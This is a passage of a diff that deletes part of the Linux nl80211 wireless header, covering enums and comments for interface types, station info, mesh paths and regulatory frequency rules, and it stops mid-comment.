- * @NL80211_IFTYPE_AP: access point
- * @NL80211_IFTYPE_AP_VLAN: VLAN interface for access points; VLAN interfaces
- *	are a bit special in that they must always be tied to a pre-existing
- *	AP type interface.
- * @NL80211_IFTYPE_WDS: wireless distribution interface
- * @NL80211_IFTYPE_MONITOR: monitor interface receiving all frames
- * @NL80211_IFTYPE_MESH_POINT: mesh point
- * @NL80211_IFTYPE_P2P_CLIENT: P2P client
- * @NL80211_IFTYPE_P2P_GO: P2P group owner
- * @NL80211_IFTYPE_P2P_DEVICE: P2P device interface type, this is not a netdev
- *	and therefore can't be created in the normal ways, use the
- *	%NL80211_CMD_START_P2P_DEVICE and %NL80211_CMD_STOP_P2P_DEVICE
- *	commands to create and destroy one
- * @NL80211_IFTYPE_MAX: highest interface type number currently defined
- * @NUM_NL80211_IFTYPES: number of defined interface types
- *
- * These values are used with the %NL80211_ATTR_IFTYPE
- * to set the type of an interface.
- *
- */
-enum nl80211_iftype {
-  NL80211_IFTYPE_UNSPECIFIED,
-  NL80211_IFTYPE_ADHOC,
-  NL80211_IFTYPE_STATION,
-  NL80211_IFTYPE_AP,
-  NL80211_IFTYPE_AP_VLAN,
-  NL80211_IFTYPE_WDS,
-  NL80211_IFTYPE_MONITOR,
-  NL80211_IFTYPE_MESH_POINT,
-  NL80211_IFTYPE_P2P_CLIENT,
-  NL80211_IFTYPE_P2P_GO,
-  NL80211_IFTYPE_P2P_DEVICE,
-
-  /* keep last */
-  NUM_NL80211_IFTYPES,
-  NL80211_IFTYPE_MAX = NUM_NL80211_IFTYPES - 1
-};
-
-/**
- * enum nl80211_sta_flags - station flags
- *
- * Station flags. When a station is added to an AP interface, it is
- * assumed to be already associated (and hence authenticated.)
- *
- * @__NL80211_STA_FLAG_INVALID: attribute number 0 is reserved
- * @NL80211_STA_FLAG_AUTHORIZED: station is authorized (802.1X)
- * @NL80211_STA_FLAG_SHORT_PREAMBLE: station is capable of receiving frames
- *	with short barker preamble
- * @NL80211_STA_FLAG_WME: station is WME/QoS capable
- * @NL80211_STA_FLAG_MFP: station uses management frame protection
- * @NL80211_STA_FLAG_AUTHENTICATED: station is authenticated
- * @NL80211_STA_FLAG_TDLS_PEER: station is a TDLS peer -- this flag should
- *	only be used in managed mode (even in the flags mask). Note that the
- *	flag can't be changed, it is only valid while adding a station, and
- *	attempts to change it will silently be ignored (rather than rejected
- *	as errors.)
- * @NL80211_STA_FLAG_ASSOCIATED: station is associated; used with drivers
- *	that support %NL80211_FEATURE_FULL_AP_CLIENT_STATE to transition a
- *	previously added station into associated state
- * @NL80211_STA_FLAG_MAX: highest station flag number currently defined
- * @__NL80211_STA_FLAG_AFTER_LAST: internal use
- */
-enum nl80211_sta_flags {
-  __NL80211_STA_FLAG_INVALID,
-  NL80211_STA_FLAG_AUTHORIZED,
-  NL80211_STA_FLAG_SHORT_PREAMBLE,
-  NL80211_STA_FLAG_WME,
-  NL80211_STA_FLAG_MFP,
-  NL80211_STA_FLAG_AUTHENTICATED,
-  NL80211_STA_FLAG_TDLS_PEER,
-  NL80211_STA_FLAG_ASSOCIATED,
-
-  /* keep last */
-  __NL80211_STA_FLAG_AFTER_LAST,
-  NL80211_STA_FLAG_MAX = __NL80211_STA_FLAG_AFTER_LAST - 1
-};
-
-#define NL80211_STA_FLAG_MAX_OLD_API NL80211_STA_FLAG_TDLS_PEER
-
-/**
- * struct nl80211_sta_flag_update - station flags mask/set
- * @mask: mask of station flags to set
- * @set: which values to set them to
- *
- * Both mask and set contain bits as per &enum nl80211_sta_flags.
- */
-struct nl80211_sta_flag_update {
-  __u32 mask;
-  __u32 set;
-} __attribute__((packed));
-
-/**
- * enum nl80211_rate_info - bitrate information
- *
- * These attribute types are used with %NL80211_STA_INFO_TXRATE
- * when getting information about the bitrate of a station.
- * There are 2 attributes for bitrate, a legacy one that represents
- * a 16-bit value, and new one that represents a 32-bit value.
- * If the rate value fits into 16 bit, both attributes are reported
- * with the same value. If the rate is too high to fit into 16 bits
- * (>6.5535Gbps) only 32-bit attribute is included.
- * User space tools encouraged to use the 32-bit attribute and fall
- * back to the 16-bit one for compatibility with older kernels.
- *
- * @__NL80211_RATE_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_RATE_INFO_BITRATE: total bitrate (u16, 100kbit/s)
- * @NL80211_RATE_INFO_MCS: mcs index for 802.11n (u8)
- * @NL80211_RATE_INFO_40_MHZ_WIDTH: 40 MHz dualchannel bitrate
- * @NL80211_RATE_INFO_SHORT_GI: 400ns guard interval
- * @NL80211_RATE_INFO_BITRATE32: total bitrate (u32, 100kbit/s)
- * @NL80211_RATE_INFO_MAX: highest rate_info number currently defined
- * @NL80211_RATE_INFO_VHT_MCS: MCS index for VHT (u8)
- * @NL80211_RATE_INFO_VHT_NSS: number of streams in VHT (u8)
- * @NL80211_RATE_INFO_80_MHZ_WIDTH: 80 MHz VHT rate
- * @NL80211_RATE_INFO_80P80_MHZ_WIDTH: 80+80 MHz VHT rate
- * @NL80211_RATE_INFO_160_MHZ_WIDTH: 160 MHz VHT rate
- * @__NL80211_RATE_INFO_AFTER_LAST: internal use
- */
-enum nl80211_rate_info {
-  __NL80211_RATE_INFO_INVALID,
-  NL80211_RATE_INFO_BITRATE,
-  NL80211_RATE_INFO_MCS,
-  NL80211_RATE_INFO_40_MHZ_WIDTH,
-  NL80211_RATE_INFO_SHORT_GI,
-  NL80211_RATE_INFO_BITRATE32,
-  NL80211_RATE_INFO_VHT_MCS,
-  NL80211_RATE_INFO_VHT_NSS,
-  NL80211_RATE_INFO_80_MHZ_WIDTH,
-  NL80211_RATE_INFO_80P80_MHZ_WIDTH,
-  NL80211_RATE_INFO_160_MHZ_WIDTH,
-
-  /* keep last */
-  __NL80211_RATE_INFO_AFTER_LAST,
-  NL80211_RATE_INFO_MAX = __NL80211_RATE_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_sta_bss_param - BSS information collected by STA
- *
- * These attribute types are used with %NL80211_STA_INFO_BSS_PARAM
- * when getting information about the bitrate of a station.
- *
- * @__NL80211_STA_BSS_PARAM_INVALID: attribute number 0 is reserved
- * @NL80211_STA_BSS_PARAM_CTS_PROT: whether CTS protection is enabled (flag)
- * @NL80211_STA_BSS_PARAM_SHORT_PREAMBLE:  whether short preamble is enabled
- *	(flag)
- * @NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME:  whether short slot time is enabled
- *	(flag)
- * @NL80211_STA_BSS_PARAM_DTIM_PERIOD: DTIM period for beaconing (u8)
- * @NL80211_STA_BSS_PARAM_BEACON_INTERVAL: Beacon interval (u16)
- * @NL80211_STA_BSS_PARAM_MAX: highest sta_bss_param number currently defined
- * @__NL80211_STA_BSS_PARAM_AFTER_LAST: internal use
- */
-enum nl80211_sta_bss_param {
-  __NL80211_STA_BSS_PARAM_INVALID,
-  NL80211_STA_BSS_PARAM_CTS_PROT,
-  NL80211_STA_BSS_PARAM_SHORT_PREAMBLE,
-  NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME,
-  NL80211_STA_BSS_PARAM_DTIM_PERIOD,
-  NL80211_STA_BSS_PARAM_BEACON_INTERVAL,
-
-  /* keep last */
-  __NL80211_STA_BSS_PARAM_AFTER_LAST,
-  NL80211_STA_BSS_PARAM_MAX = __NL80211_STA_BSS_PARAM_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_sta_info - station information
- *
- * These attribute types are used with %NL80211_ATTR_STA_INFO
- * when getting information about a station.
- *
- * @__NL80211_STA_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_STA_INFO_INACTIVE_TIME: time since last activity (u32, msecs)
- * @NL80211_STA_INFO_RX_BYTES: total received bytes (u32, from this station)
- * @NL80211_STA_INFO_TX_BYTES: total transmitted bytes (u32, to this station)
- * @NL80211_STA_INFO_RX_BYTES64: total received bytes (u64, from this station)
- * @NL80211_STA_INFO_TX_BYTES64: total transmitted bytes (u64, to this station)
- * @NL80211_STA_INFO_SIGNAL: signal strength of last received PPDU (u8, dBm)
- * @NL80211_STA_INFO_TX_BITRATE: current unicast tx rate, nested attribute
- * 	containing info as possible, see &enum nl80211_rate_info
- * @NL80211_STA_INFO_RX_PACKETS: total received packet (u32, from this station)
- * @NL80211_STA_INFO_TX_PACKETS: total transmitted packets (u32, to this
- *	station)
- * @NL80211_STA_INFO_TX_RETRIES: total retries (u32, to this station)
- * @NL80211_STA_INFO_TX_FAILED: total failed packets (u32, to this station)
- * @NL80211_STA_INFO_SIGNAL_AVG: signal strength average (u8, dBm)
- * @NL80211_STA_INFO_LLID: the station's mesh LLID
- * @NL80211_STA_INFO_PLID: the station's mesh PLID
- * @NL80211_STA_INFO_PLINK_STATE: peer link state for the station
- *	(see %enum nl80211_plink_state)
- * @NL80211_STA_INFO_RX_BITRATE: last unicast data frame rx rate, nested
- *	attribute, like NL80211_STA_INFO_TX_BITRATE.
- * @NL80211_STA_INFO_BSS_PARAM: current station's view of BSS, nested attribute
- *     containing info as possible, see &enum nl80211_sta_bss_param
- * @NL80211_STA_INFO_CONNECTED_TIME: time since the station is last connected
- * @NL80211_STA_INFO_STA_FLAGS: Contains a struct nl80211_sta_flag_update.
- * @NL80211_STA_INFO_BEACON_LOSS: count of times beacon loss was detected (u32)
- * @NL80211_STA_INFO_T_OFFSET: timing offset with respect to this STA (s64)
- * @NL80211_STA_INFO_LOCAL_PM: local mesh STA link-specific power mode
- * @NL80211_STA_INFO_PEER_PM: peer mesh STA link-specific power mode
- * @NL80211_STA_INFO_NONPEER_PM: neighbor mesh STA power save mode towards
- *	non-peer STA
- * @NL80211_STA_INFO_CHAIN_SIGNAL: per-chain signal strength of last PPDU
- *	Contains a nested array of signal strength attributes (u8, dBm)
- * @NL80211_STA_INFO_CHAIN_SIGNAL_AVG: per-chain signal strength average
- *	Same format as NL80211_STA_INFO_CHAIN_SIGNAL.
- * @NL80211_STA_EXPECTED_THROUGHPUT: expected throughput considering also the
- *	802.11 header (u32, kbps)
- * @__NL80211_STA_INFO_AFTER_LAST: internal
- * @NL80211_STA_INFO_MAX: highest possible station info attribute
- */
-enum nl80211_sta_info {
-  __NL80211_STA_INFO_INVALID,
-  NL80211_STA_INFO_INACTIVE_TIME,
-  NL80211_STA_INFO_RX_BYTES,
-  NL80211_STA_INFO_TX_BYTES,
-  NL80211_STA_INFO_LLID,
-  NL80211_STA_INFO_PLID,
-  NL80211_STA_INFO_PLINK_STATE,
-  NL80211_STA_INFO_SIGNAL,
-  NL80211_STA_INFO_TX_BITRATE,
-  NL80211_STA_INFO_RX_PACKETS,
-  NL80211_STA_INFO_TX_PACKETS,
-  NL80211_STA_INFO_TX_RETRIES,
-  NL80211_STA_INFO_TX_FAILED,
-  NL80211_STA_INFO_SIGNAL_AVG,
-  NL80211_STA_INFO_RX_BITRATE,
-  NL80211_STA_INFO_BSS_PARAM,
-  NL80211_STA_INFO_CONNECTED_TIME,
-  NL80211_STA_INFO_STA_FLAGS,
-  NL80211_STA_INFO_BEACON_LOSS,
-  NL80211_STA_INFO_T_OFFSET,
-  NL80211_STA_INFO_LOCAL_PM,
-  NL80211_STA_INFO_PEER_PM,
-  NL80211_STA_INFO_NONPEER_PM,
-  NL80211_STA_INFO_RX_BYTES64,
-  NL80211_STA_INFO_TX_BYTES64,
-  NL80211_STA_INFO_CHAIN_SIGNAL,
-  NL80211_STA_INFO_CHAIN_SIGNAL_AVG,
-  NL80211_STA_INFO_EXPECTED_THROUGHPUT,
-
-  /* keep last */
-  __NL80211_STA_INFO_AFTER_LAST,
-  NL80211_STA_INFO_MAX = __NL80211_STA_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mpath_flags - nl80211 mesh path flags
- *
- * @NL80211_MPATH_FLAG_ACTIVE: the mesh path is active
- * @NL80211_MPATH_FLAG_RESOLVING: the mesh path discovery process is running
- * @NL80211_MPATH_FLAG_SN_VALID: the mesh path contains a valid SN
- * @NL80211_MPATH_FLAG_FIXED: the mesh path has been manually set
- * @NL80211_MPATH_FLAG_RESOLVED: the mesh path discovery process succeeded
- */
-enum nl80211_mpath_flags {
-  NL80211_MPATH_FLAG_ACTIVE = 1 << 0,
-  NL80211_MPATH_FLAG_RESOLVING = 1 << 1,
-  NL80211_MPATH_FLAG_SN_VALID = 1 << 2,
-  NL80211_MPATH_FLAG_FIXED = 1 << 3,
-  NL80211_MPATH_FLAG_RESOLVED = 1 << 4,
-};
-
-/**
- * enum nl80211_mpath_info - mesh path information
- *
- * These attribute types are used with %NL80211_ATTR_MPATH_INFO when getting
- * information about a mesh path.
- *
- * @__NL80211_MPATH_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_MPATH_INFO_FRAME_QLEN: number of queued frames for this destination
- * @NL80211_MPATH_INFO_SN: destination sequence number
- * @NL80211_MPATH_INFO_METRIC: metric (cost) of this mesh path
- * @NL80211_MPATH_INFO_EXPTIME: expiration time for the path, in msec from now
- * @NL80211_MPATH_INFO_FLAGS: mesh path flags, enumerated in
- * 	&enum nl80211_mpath_flags;
- * @NL80211_MPATH_INFO_DISCOVERY_TIMEOUT: total path discovery timeout, in msec
- * @NL80211_MPATH_INFO_DISCOVERY_RETRIES: mesh path discovery retries
- * @NL80211_MPATH_INFO_MAX: highest mesh path information attribute number
- *	currently defind
- * @__NL80211_MPATH_INFO_AFTER_LAST: internal use
- */
-enum nl80211_mpath_info {
-  __NL80211_MPATH_INFO_INVALID,
-  NL80211_MPATH_INFO_FRAME_QLEN,
-  NL80211_MPATH_INFO_SN,
-  NL80211_MPATH_INFO_METRIC,
-  NL80211_MPATH_INFO_EXPTIME,
-  NL80211_MPATH_INFO_FLAGS,
-  NL80211_MPATH_INFO_DISCOVERY_TIMEOUT,
-  NL80211_MPATH_INFO_DISCOVERY_RETRIES,
-
-  /* keep last */
-  __NL80211_MPATH_INFO_AFTER_LAST,
-  NL80211_MPATH_INFO_MAX = __NL80211_MPATH_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_band_attr - band attributes
- * @__NL80211_BAND_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_BAND_ATTR_FREQS: supported frequencies in this band,
- *	an array of nested frequency attributes
- * @NL80211_BAND_ATTR_RATES: supported bitrates in this band,
- *	an array of nested bitrate attributes
- * @NL80211_BAND_ATTR_HT_MCS_SET: 16-byte attribute containing the MCS set as
- *	defined in 802.11n
- * @NL80211_BAND_ATTR_HT_CAPA: HT capabilities, as in the HT information IE
- * @NL80211_BAND_ATTR_HT_AMPDU_FACTOR: A-MPDU factor, as in 11n
- * @NL80211_BAND_ATTR_HT_AMPDU_DENSITY: A-MPDU density, as in 11n
- * @NL80211_BAND_ATTR_VHT_MCS_SET: 32-byte attribute containing the MCS set as
- *	defined in 802.11ac
- * @NL80211_BAND_ATTR_VHT_CAPA: VHT capabilities, as in the HT information IE
- * @NL80211_BAND_ATTR_MAX: highest band attribute currently defined
- * @__NL80211_BAND_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_band_attr {
-  __NL80211_BAND_ATTR_INVALID,
-  NL80211_BAND_ATTR_FREQS,
-  NL80211_BAND_ATTR_RATES,
-
-  NL80211_BAND_ATTR_HT_MCS_SET,
-  NL80211_BAND_ATTR_HT_CAPA,
-  NL80211_BAND_ATTR_HT_AMPDU_FACTOR,
-  NL80211_BAND_ATTR_HT_AMPDU_DENSITY,
-
-  NL80211_BAND_ATTR_VHT_MCS_SET,
-  NL80211_BAND_ATTR_VHT_CAPA,
-
-  /* keep last */
-  __NL80211_BAND_ATTR_AFTER_LAST,
-  NL80211_BAND_ATTR_MAX = __NL80211_BAND_ATTR_AFTER_LAST - 1
-};
-
-#define NL80211_BAND_ATTR_HT_CAPA NL80211_BAND_ATTR_HT_CAPA
-
-/**
- * enum nl80211_frequency_attr - frequency attributes
- * @__NL80211_FREQUENCY_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_FREQUENCY_ATTR_FREQ: Frequency in MHz
- * @NL80211_FREQUENCY_ATTR_DISABLED: Channel is disabled in current
- *	regulatory domain.
- * @NL80211_FREQUENCY_ATTR_NO_IR: no mechanisms that initiate radiation
- * 	are permitted on this channel, this includes sending probe
- * 	requests, or modes of operation that require beaconing.
- * @NL80211_FREQUENCY_ATTR_RADAR: Radar detection is mandatory
- *	on this channel in current regulatory domain.
- * @NL80211_FREQUENCY_ATTR_MAX_TX_POWER: Maximum transmission power in mBm
- *	(100 * dBm).
- * @NL80211_FREQUENCY_ATTR_DFS_STATE: current state for DFS
- *	(enum nl80211_dfs_state)
- * @NL80211_FREQUENCY_ATTR_DFS_TIME: time in miliseconds for how long
- *	this channel is in this DFS state.
- * @NL80211_FREQUENCY_ATTR_NO_HT40_MINUS: HT40- isn't possible with this
- *	channel as the control channel
- * @NL80211_FREQUENCY_ATTR_NO_HT40_PLUS: HT40+ isn't possible with this
- *	channel as the control channel
- * @NL80211_FREQUENCY_ATTR_NO_80MHZ: any 80 MHz channel using this channel
- *	as the primary or any of the secondary channels isn't possible,
- *	this includes 80+80 channels
- * @NL80211_FREQUENCY_ATTR_NO_160MHZ: any 160 MHz (but not 80+80) channel
- *	using this channel as the primary or any of the secondary channels
- *	isn't possible
- * @NL80211_FREQUENCY_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
- * @NL80211_FREQUENCY_ATTR_INDOOR_ONLY: Only indoor use is permitted on this
- *	channel. A channel that has the INDOOR_ONLY attribute can only be
- *	used when there is a clear assessment that the device is operating in
- *	an indoor surroundings, i.e., it is connected to AC power (and not
- *	through portable DC inverters) or is under the control of a master
- *	that is acting as an AP and is connected to AC power.
- * @NL80211_FREQUENCY_ATTR_GO_CONCURRENT: GO operation is allowed on this
- *	channel if it's connected concurrently to a BSS on the same channel on
- *	the 2 GHz band or to a channel in the same UNII band (on the 5 GHz
- *	band), and IEEE80211_CHAN_RADAR is not set. Instantiating a GO on a
- *	channel that has the GO_CONCURRENT attribute set can be done when there
- *	is a clear assessment that the device is operating under the guidance of
- *	an authorized master, i.e., setting up a GO while the device is also
- *	connected to an AP with DFS and radar detection on the UNII band (it is
- *	up to user-space, i.e., wpa_supplicant to perform the required
- *	verifications)
- * @NL80211_FREQUENCY_ATTR_NO_20MHZ: 20 MHz operation is not allowed
- *	on this channel in current regulatory domain.
- * @NL80211_FREQUENCY_ATTR_NO_10MHZ: 10 MHz operation is not allowed
- *	on this channel in current regulatory domain.
- * @NL80211_FREQUENCY_ATTR_MAX: highest frequency attribute number
- *	currently defined
- * @__NL80211_FREQUENCY_ATTR_AFTER_LAST: internal use
- *
- * See
- *https://apps.fcc.gov/eas/comments/GetPublishedDocument.html?id=327&tn=528122
- * for more information on the FCC description of the relaxations allowed
- * by NL80211_FREQUENCY_ATTR_INDOOR_ONLY and
- * NL80211_FREQUENCY_ATTR_GO_CONCURRENT.
- */
-enum nl80211_frequency_attr {
-  __NL80211_FREQUENCY_ATTR_INVALID,
-  NL80211_FREQUENCY_ATTR_FREQ,
-  NL80211_FREQUENCY_ATTR_DISABLED,
-  NL80211_FREQUENCY_ATTR_NO_IR,
-  __NL80211_FREQUENCY_ATTR_NO_IBSS,
-  NL80211_FREQUENCY_ATTR_RADAR,
-  NL80211_FREQUENCY_ATTR_MAX_TX_POWER,
-  NL80211_FREQUENCY_ATTR_DFS_STATE,
-  NL80211_FREQUENCY_ATTR_DFS_TIME,
-  NL80211_FREQUENCY_ATTR_NO_HT40_MINUS,
-  NL80211_FREQUENCY_ATTR_NO_HT40_PLUS,
-  NL80211_FREQUENCY_ATTR_NO_80MHZ,
-  NL80211_FREQUENCY_ATTR_NO_160MHZ,
-  NL80211_FREQUENCY_ATTR_DFS_CAC_TIME,
-  NL80211_FREQUENCY_ATTR_INDOOR_ONLY,
-  NL80211_FREQUENCY_ATTR_GO_CONCURRENT,
-  NL80211_FREQUENCY_ATTR_NO_20MHZ,
-  NL80211_FREQUENCY_ATTR_NO_10MHZ,
-
-  /* keep last */
-  __NL80211_FREQUENCY_ATTR_AFTER_LAST,
-  NL80211_FREQUENCY_ATTR_MAX = __NL80211_FREQUENCY_ATTR_AFTER_LAST - 1
-};
-
-#define NL80211_FREQUENCY_ATTR_MAX_TX_POWER NL80211_FREQUENCY_ATTR_MAX_TX_POWER
-#define NL80211_FREQUENCY_ATTR_PASSIVE_SCAN NL80211_FREQUENCY_ATTR_NO_IR
-#define NL80211_FREQUENCY_ATTR_NO_IBSS NL80211_FREQUENCY_ATTR_NO_IR
-#define NL80211_FREQUENCY_ATTR_NO_IR NL80211_FREQUENCY_ATTR_NO_IR
-
-/**
- * enum nl80211_bitrate_attr - bitrate attributes
- * @__NL80211_BITRATE_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_BITRATE_ATTR_RATE: Bitrate in units of 100 kbps
- * @NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE: Short preamble supported
- *	in 2.4 GHz band.
- * @NL80211_BITRATE_ATTR_MAX: highest bitrate attribute number
- *	currently defined
- * @__NL80211_BITRATE_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_bitrate_attr {
-  __NL80211_BITRATE_ATTR_INVALID,
-  NL80211_BITRATE_ATTR_RATE,
-  NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE,
-
-  /* keep last */
-  __NL80211_BITRATE_ATTR_AFTER_LAST,
-  NL80211_BITRATE_ATTR_MAX = __NL80211_BITRATE_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_initiator - Indicates the initiator of a reg domain request
- * @NL80211_REGDOM_SET_BY_CORE: Core queried CRDA for a dynamic world
- * 	regulatory domain.
- * @NL80211_REGDOM_SET_BY_USER: User asked the wireless core to set the
- * 	regulatory domain.
- * @NL80211_REGDOM_SET_BY_DRIVER: a wireless drivers has hinted to the
- * 	wireless core it thinks its knows the regulatory domain we should be in.
- * @NL80211_REGDOM_SET_BY_COUNTRY_IE: the wireless core has received an
- * 	802.11 country information element with regulatory information it
- * 	thinks we should consider. cfg80211 only processes the country
- *	code from the IE, and relies on the regulatory domain information
- *	structure passed by userspace (CRDA) from our wireless-regdb.
- *	If a channel is enabled but the country code indicates it should
- *	be disabled we disable the channel and re-enable it upon disassociation.
- */
-enum nl80211_reg_initiator {
-  NL80211_REGDOM_SET_BY_CORE,
-  NL80211_REGDOM_SET_BY_USER,
-  NL80211_REGDOM_SET_BY_DRIVER,
-  NL80211_REGDOM_SET_BY_COUNTRY_IE,
-};
-
-/**
- * enum nl80211_reg_type - specifies the type of regulatory domain
- * @NL80211_REGDOM_TYPE_COUNTRY: the regulatory domain set is one that pertains
- *	to a specific country. When this is set you can count on the
- *	ISO / IEC 3166 alpha2 country code being valid.
- * @NL80211_REGDOM_TYPE_WORLD: the regulatory set domain is the world regulatory
- * 	domain.
- * @NL80211_REGDOM_TYPE_CUSTOM_WORLD: the regulatory domain set is a custom
- * 	driver specific world regulatory domain. These do not apply system-wide
- * 	and are only applicable to the individual devices which have requested
- * 	them to be applied.
- * @NL80211_REGDOM_TYPE_INTERSECTION: the regulatory domain set is the product
- *	of an intersection between two regulatory domains -- the previously
- *	set regulatory domain on the system and the last accepted regulatory
- *	domain request to be processed.
- */
-enum nl80211_reg_type {
-  NL80211_REGDOM_TYPE_COUNTRY,
-  NL80211_REGDOM_TYPE_WORLD,
-  NL80211_REGDOM_TYPE_CUSTOM_WORLD,
-  NL80211_REGDOM_TYPE_INTERSECTION,
-};
-
-/**
- * enum nl80211_reg_rule_attr - regulatory rule attributes
- * @__NL80211_REG_RULE_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_ATTR_REG_RULE_FLAGS: a set of flags which specify additional
- * 	considerations for a given frequency range. These are the
- * 	&enum nl80211_reg_rule_flags.
- * @NL80211_ATTR_FREQ_RANGE_START: starting frequencry for the regulatory
- * 	rule in KHz. This is not a center of frequency but an actual regulatory
- * 	band edge.
- * @NL80211_ATTR_FREQ_RANGE_END: ending frequency for the regulatory rule
- * 	in KHz. This is not a center a frequency but an actual regulatory
- * 	band edge.
- * @NL80211_ATTR_FREQ_RANGE_MAX_BW: maximum allowed bandwidth for this
- *	frequency range, in KHz.
- * @NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN: the maximum allowed antenna gain
- * 	for a given frequency range. The value is in mBi (100 * dBi).
- * 	If you don't have one then don't send this.
- * @NL80211_ATTR_POWER_RULE_MAX_EIRP: the maximum allowed EIRP for
- * 	a given frequency range. The value is in mBm (100 * dBm).
- * @NL80211_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
- *	If not present or 0 default CAC time will be used.
- * @NL80211_REG_RULE_ATTR_MAX: highest regulatory rule attribute number
- *	currently defined
- * @__NL80211_REG_RULE_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_reg_rule_attr {
-  __NL80211_REG_RULE_ATTR_INVALID,
-  NL80211_ATTR_REG_RULE_FLAGS,
-
-  NL80211_ATTR_FREQ_RANGE_START,
-  NL80211_ATTR_FREQ_RANGE_END,
-  NL80211_ATTR_FREQ_RANGE_MAX_BW,
-
-  NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN,
-  NL80211_ATTR_POWER_RULE_MAX_EIRP,
-
-  NL80211_ATTR_DFS_CAC_TIME,
-
-  /* keep last */
-  __NL80211_REG_RULE_ATTR_AFTER_LAST,
-  NL80211_REG_RULE_ATTR_MAX = __NL80211_REG_RULE_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_sched_scan_match_attr - scheduled scan match attributes
- * @__NL80211_SCHED_SCAN_MATCH_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_SCHED_SCAN_MATCH_ATTR_SSID: SSID to be used for matching,
- *	only report BSS with matching SSID.
- * @NL80211_SCHED_SCAN_MATCH_ATTR_RSSI: RSSI threshold (in dBm) for reporting a
- *	BSS in scan results. Filtering is turned off if not specified. Note that
- *	if this attribute is in a match set of its own, then it is treated as
- *	the default value for all matchsets with an SSID, rather than being a
- *	matchset of its own without an RSSI filter. This is due to problems with
- *	how this API was implemented in the past. Also, due to the same problem,
- *	the only way to create a matchset with only an RSSI filter (with this
- *	attribute) is if there's only a single matchset with the RSSI attribute.
- * @NL80211_SCHED_SCAN_MATCH_ATTR_MAX: highest scheduled scan filter
- *	attribute number currently defined
- * @__NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_sched_scan_match_attr {
-  __NL80211_SCHED_SCAN_MATCH_ATTR_INVALID,
-
-  NL80211_SCHED_SCAN_MATCH_ATTR_SSID,
-  NL80211_SCHED_SCAN_MATCH_ATTR_RSSI,
-
-  /* keep last */
-  __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST,
-  NL80211_SCHED_SCAN_MATCH_ATTR_MAX =
-      __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST - 1
-};
-
-/* only for backward compatibility */
-#define NL80211_ATTR_SCHED_SCAN_MATCH_SSID NL80211_SCHED_SCAN_MATCH_ATTR_SSID
-
-/**
- * enum nl80211_reg_rule_flags - regulatory rule flags
- *
- * @NL80211_RRF_NO_OFDM: OFDM modulation not allowed
- * @NL80211_RRF_NO_CCK: CCK modulation not allowed
- * @NL80211_RRF_NO_INDOOR: indoor operation not allowed
- * @NL80211_RRF_NO_OUTDOOR: outdoor operation not allowed
- * @NL80211_RRF_DFS: DFS support is required to be used
- * @NL80211_RRF_PTP_ONLY: this is only for Point To Point links
- * @NL80211_RRF_PTMP_ONLY: this is only for Point To Multi Point links
- * @NL80211_RRF_NO_IR: no mechanisms that initiate radiation are allowed,
- * 	this includes probe requests or modes of operation that require
- * 	beaconing.
- * @NL80211_RRF_AUTO_BW: maximum available bandwidth should be calculated
- *	base on contiguous rules and wider channels will be allowed to cross
- *	multiple contiguous/overlapping frequency ranges.
- */
-enum nl80211_reg_rule_flags {
-  NL80211_RRF_NO_OFDM = 1 << 0,
-  NL80211_RRF_NO_CCK = 1 << 1,
-  NL80211_RRF_NO_INDOOR = 1 << 2,
-  NL80211_RRF_NO_OUTDOOR = 1 << 3,
-  NL80211_RRF_DFS = 1 << 4,
-  NL80211_RRF_PTP_ONLY = 1 << 5,
-  NL80211_RRF_PTMP_ONLY = 1 << 6,
-  NL80211_RRF_NO_IR = 1 << 7,
-  __NL80211_RRF_NO_IBSS = 1 << 8,
-  NL80211_RRF_AUTO_BW = 1 << 11,
-};
-
-#define NL80211_RRF_PASSIVE_SCAN NL80211_RRF_NO_IR
-#define NL80211_RRF_NO_IBSS NL80211_RRF_NO_IR
-#define NL80211_RRF_NO_IR NL80211_RRF_NO_IR
-
-/* For backport compatibility with older userspace */
-#define NL80211_RRF_NO_IR_ALL (NL80211_RRF_NO_IR | __NL80211_RRF_NO_IBSS)
-
-/**
- * enum nl80211_dfs_regions - regulatory DFS regions
- *
- * @NL80211_DFS_UNSET: Country has no DFS master region specified
- * @NL80211_DFS_FCC: Country follows DFS master rules from FCC
- * @NL80211_DFS_ETSI: Country follows DFS master rules from ETSI
- * @NL80211_DFS_JP: Country follows DFS master rules from JP/MKK/Telec
- */
-enum nl80211_dfs_regions {
-  NL80211_DFS_UNSET = 0,
-  NL80211_DFS_FCC = 1,
-  NL80211_DFS_ETSI = 2,
-  NL80211_DFS_JP = 3,
-};
-
-/**
- * enum nl80211_user_reg_hint_type - type of user regulatory hint
- *
- * @NL80211_USER_REG_HINT_USER: a user sent the hint. This is always
- *	assumed if the attribute is not set.
- * @NL80211_USER_REG_HINT_CELL_BASE: the hint comes from a cellular
- *	base station. Device drivers that have been tested to work
- *	properly to support this type of hint can enable these hints
- *	by setting the NL80211_FEATURE_CELL_BASE_REG_HINTS feature
- *	capability on the struct wiphy. The wireless core will
- *	ignore all cell base station hints until at least one device
- *	present has been registered with the wireless core that
